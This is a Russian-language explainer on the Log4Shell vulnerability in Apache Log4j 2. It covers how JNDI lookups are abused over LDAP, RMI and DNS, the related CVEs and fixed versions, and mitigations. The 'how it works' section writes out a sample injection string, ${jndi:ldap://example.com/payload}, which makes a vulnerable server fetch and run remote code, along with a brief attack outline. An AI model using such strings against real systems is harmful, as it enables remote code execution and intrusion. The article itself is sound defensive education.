Log4Shell — это критическая уязвимость в некоторых версиях библиотеки Apache Log4j 2 для Java, которая позволяет выполнить произвольный код на уязвимой системе. Если приложение записывает в логи специально сформированную строку, злоумышленник может добиться загрузки и запуска вредоносного кода извне.
Проблема получила идентификатор CVE-2021-44228 и быстро стала одной из самых обсуждаемых в ИБ. Причина проста: Log4j встроен в огромное число Java-приложений, сервисов и компонентов, а значит уязвимость затронула не один продукт, а большой пласт инфраструктуры.
Содержание статьи
Почему Log4Shell считают настолько опасной
Log4Shell опасна из-за сочетания трёх факторов: удалённого выполнения кода, простоты эксплуатации и очень широкого распространения Log4j. Уязвимость затрагивала не отдельный сервис, а библиотеку, которая часто встречается глубоко внутри чужих зависимостей.
На практике это означало неприятную вещь. Компания могла даже не знать, что использует Log4j, потому что библиотека попадала в систему через сторонний пакет, платформу или готовое приложение.
Последствия тоже были серьёзными. Через Log4Shell можно было красть данные, устанавливать шифровальщики, разворачивать майнеры, получать постоянный доступ к серверу или подключать устройство к ботнету.
Как работает Log4Shell
Log4Shell возникает из-за того, как уязвимые версии Log4j 2 обрабатывали подстановки в сообщениях и JNDI-запросы. В результате строка, которая должна была просто попасть в лог, могла восприниматься как команда на обращение к внешнему серверу.
Log4j — это библиотека журналирования. Она записывает ошибки, служебные события, технические сообщения и иногда пользовательский ввод. Разработчики подключают её к Java-приложениям, чтобы не писать собственный механизм логирования с нуля.
Проблема была связана с двумя механизмами. Первый — JNDI (Java Naming and Directory Interface), интерфейс для доступа к внешним ресурсам. Второй — подстановки внутри сообщений, когда Log4j видит специальную конструкцию и пытается вычислить её значение.
Например, строка вида ${java:version} заставляет библиотеку получить версию Java и записать результат в лог. Уязвимость появилась потому, что похожим способом можно было передать и JNDI-обращение к удалённому серверу.
Если приложение записывало в лог строку вроде ${jndi:ldap://example.com/payload}, Log4j мог обратиться по указанному адресу, получить внешний объект и выполнить связанный с ним код. Этим и пользовались атакующие.
Какие протоколы использовали при эксплуатации
Чаще всего Log4Shell эксплуатировали через стандартные сетевые протоколы, что упрощало маскировку вредоносного трафика. В атаках обычно встречались LDAP, RMI и DNS.
LDAP
LDAP был самым распространённым вариантом. Злоумышленник поднимал LDAP-сервер, размещал там вредоносную нагрузку и отправлял приложению строку, которая заставляла Log4j обратиться к этому серверу.
- Создаётся контролируемый LDAP-сервер.
- В приложение передаётся вредоносная строка с JNDI-запросом.
- Уязвимая система подключается к серверу атакующего.
- Код загружается и выполняется.
RMI
RMI — механизм Java для удалённого вызова методов. По логике атака похожа на сценарий с LDAP: цель вынуждают подключиться к внешнему серверу, после чего запускается вредоносная цепочка.
Такой вариант встречался реже. Но он оставался актуальным там, где LDAP-трафик уже начали жёстко фильтровать.
DNS
DNS часто применяли не для немедленного внедрения кода, а для разведки. Если система делала DNS-запрос на домен, контролируемый атакующим, это подтверждало, что цель, вероятно, уязвима.
После такой проверки злоумышленники могли переходить к следующим шагам. Или, наоборот, отсеивать неинтересные цели.
Как именно злоумышленники использовали эту уязвимость
Log4Shell позволяла запускать практически любой код на стороне жертвы, поэтому сценариев эксплуатации было много. Всё зависело от целей атакующего: быстрый заработок, скрытый доступ или дальнейшее развитие атаки внутри сети.
Сразу после раскрытия уязвимости начали фиксировать заражения криптомайнерами. Позже её использовали ботнеты для захвата устройств и вредоносные кампании с программами-вымогателями.
Отдельно выделяется сценарий с закреплением в корпоративной сети. После первого проникновения на сервер атакующий мог установить средство удалённого доступа и использовать этот доступ дальше сам или передать его другим участникам цепочки атаки.
Какие версии Log4j были затронуты и когда проблему закрыли
Полноценное устранение Log4Shell и связанных с ней проблем потребовало нескольких обновлений Log4j. Безопасными считаются версии начиная с 2.17.1.
После обнаружения уязвимости Apache выпустила исправление, но вскоре выяснилось, что одного патча недостаточно. По мере анализа находили дополнительные связанные дефекты, из-за чего обновления выходили последовательно.
CVE-2021-45046
Первое исправление закрыло основную часть проблемы, но не все сценарии. При определённых нестандартных настройках вредоносные JNDI-запросы всё ещё могли сработать.
Эту брешь закрыли в версии 2.16.0.
CVE-2021-45105
Следующая проблема позволяла вызвать бесконечную рекурсию через вредоносные подстановки сообщений. Это приводило к отказу в обслуживании.
Для устранения выпустили версию 2.17.0.
CVE-2021-44832
Этот дефект считался менее опасным, потому что для эксплуатации требовались дополнительные привилегии и возможность изменить конфигурацию логирования. Но речь всё равно шла об удалённом выполнении кода.
Проблему устранили в версии 2.17.1.
Почему Log4Shell до сих пор остаётся актуальной
Даже после выпуска патчей Log4Shell не исчезла мгновенно, потому что Log4j глубоко встроен в цепочки поставки ПО. Уязвимая библиотека часто находится не в самом приложении, а внутри зависимостей, плагинов и сторонних компонентов.
Это усложняет поиск. Команда безопасности может проверить собственный код и ничего не увидеть, хотя проблемная версия Log4j скрыта несколькими уровнями ниже.
Есть и другая трудность. Если уязвимость находится внутри стороннего продукта, исправление зависит от поставщика этого продукта, а не от владельца системы.
По этой причине Log4Shell ещё долго фигурировала в списках активно эксплуатируемых уязвимостей. Исправить нужно не один сервер, а весь хвост зависимостей.
Как защититься от Log4Shell
Главная мера защиты — обновить все экземпляры Log4j до безопасной версии. Полноценно устранить риск можно только патчем, потому что временные меры лишь снижают вероятность успешной атаки.
Сначала находят все прямые и косвенные зависимости с Log4j. После этого обновляют библиотеки, приложения и продукты поставщиков, где используется уязвимая версия.
Если обновление нельзя поставить сразу, применяют временные ограничения. Они полезны, но не заменяют исправление.
Отключение подстановок в сообщениях
Один из временных способов — запретить подстановки в сообщениях Log4j. Тогда библиотека будет воспринимать подозрительные строки как текст, а не как инструкцию для выполнения.
Для этого меняют системное свойство Log4J2.formatMsgNoLookups на true или задают переменную окружения LOG4J_FORMAT_MSG_NO_LOOKUPS=true.
Но эта мера не закрывает все связанные сценарии. На некоторых конфигурациях оставались другие риски.
Удаление класса JNDIlookup
Ещё один способ — удалить класс JNDIlookup из набора классов приложения. Тогда Log4j не сможет выполнять JNDI-запросы.
Подход рабочий, но не всегда удобный. Нужно убедиться, что класс удалён во всех копиях библиотеки, а побочные эффекты не ломают нужные функции приложения.
Блокировка исходящих соединений
Фильтрация исходящего трафика помогает помешать приложению связаться с сервером атакующего. Обычно для этого ограничивают соединения по LDAP, RMI и другим каналам, которые могут использоваться в цепочке эксплуатации.
У такого подхода есть цена. Если сервисам действительно нужны эти протоколы, правила придётся настраивать аккуратно, иначе пострадают рабочие процессы.
Кратко: что нужно запомнить о Log4Shell
Log4Shell — это уязвимость в Apache Log4j 2, которая позволяла выполнить произвольный код через специально сформированную строку, попавшую в лог. Проблема стала критической из-за широкого распространения библиотеки и того, что она часто скрыта внутри зависимостей.
| Параметр | Что означает |
| Название | Log4Shell |
| CVE | CVE-2021-44228 |
| Тип | Удалённое выполнение кода |
| Затронутый компонент | Некоторые версии Apache Log4j 2 для Java |
| Основная защита | Обновление до безопасной версии Log4j |
| Безопасная версия | Начиная с 2.17.1 |
Если свести суть к одной фразе, то проблема выглядела так: обычная строка в журнале могла превратиться в команду на загрузку вредоносного кода. Именно поэтому Log4Shell быстро стала одной из самых опасных уязвимостей последних лет.